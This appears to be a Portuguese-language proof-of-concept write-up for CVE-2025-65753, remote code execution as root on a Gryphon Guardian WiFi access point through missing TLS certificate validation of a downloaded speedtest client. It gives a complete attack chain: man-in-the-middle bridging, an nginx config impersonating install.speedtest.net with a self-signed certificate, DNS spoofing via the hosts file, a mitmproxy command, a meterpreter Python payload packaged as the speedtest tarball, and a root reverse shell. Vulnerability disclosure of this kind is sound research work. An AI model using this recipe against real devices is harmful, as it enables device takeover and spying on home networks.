
CVE-2025-65753 PoC
Prova de conceito para CVE-2025-65753: Execução remota de código no ponto de acesso Gryphon Guardian, versão de firmware 01.06.0006.22, através de uma validação inadequada de certificado TLS.
O ponto de acesso WiFi Gryphon Guardian, com versão de firmware 01.06.0006.22, não valida corretamente o certificado TLS de um cliente speedtest de internet baixado após ser solicitado através do aplicativo. Esta falha permite que um invasor intercepte e manipule a comunicação, injetando no cliente código malicioso que é posteriormente executado como root pelo ponto de acesso.
Existem 2 maneiras de explorar esta vulnerabilidade:
Para os fins desta PoC, o tráfego do ponto de acesso está sendo roteado através do computador do atacante (basicamente um ataque MitM), fazendo a ponte entre 2 interfaces de rede, conforme mostrado neste diagrama.

Para fazer isso, enquanto também redireciona o tráfego TCP para a porta local 9900 para análise, usei minha própria ferramenta: https://github.com/diegovargasj/bridge-interfaces

Em seguida, usei a ferramenta certmitm do aapooksman (https://github.com/aapooksman/certmitm) para analisar conexões TLS e implantar automaticamente múltiplos ataques para testar a validação do certificado. Isso revela várias falhas em vários servidores. O que me chamou a atenção foi o download do cliente speedtest de https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz que pode ser interceptado com um simples certificado autoassinado.

O tarball contém um ELF compilado para ARM de 32 bits, que claramente é baixado, descompactado e executado pelo dispositivo.

O dispositivo não valida o certificado TLS quanto à autenticidade, já que ele aceita prontamente um certificado autoassinado simples. Assim, ao implantar um servidor HTTPS e falsificar respostas DNS para install.speedtest.net, você pode servir qualquer executável de sua escolha. Para fazer isso, basta usar a seguinte configuração do nginx:
server {
listen 443 ssl default_server;
server_name install.speedtest.net;
ssl_certificate /path/to/self_signed_cert.pem;
ssl_certificate_key /path/to/self_signed_key.pem;
root /path/to/webroot;
}
Em seguida, adicione a seguinte linha ao seu arquivo /etc/hosts, para falsificar respostas DNS através do dnsmasq.
192.168.0.15 install.speedtest.net
Finalmente, reinicie o script bridge-interfaces.sh, mate o certmitm.py e execute o mitmproxy:
mitmproxy --listen-host 192.168.0.15 --listen-port 9900 --mode transparent -k
Agora só precisamos do payload. Como o ponto de acesso tem python instalado, um simples script meterpreter será suficiente. Crie o script com msfvenom:

Substitua o ELF original do cliente speedtest por um script bash para chamar o payload:
python payload.py
E empacote-o em um tarball, com o caminho adequado para que corresponda à requisição web para https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz:
tar -czvf ookla-speedtest-1.2.0-linux-armhf.tgz speedtest payload.py
Agora configuramos o listener do meterpreter. Após chamar o speedtest a partir do aplicativo Gryphon, obtemos o reverse shell como root.

E podemos executar comandos arbitrários dentro do ponto de acesso.
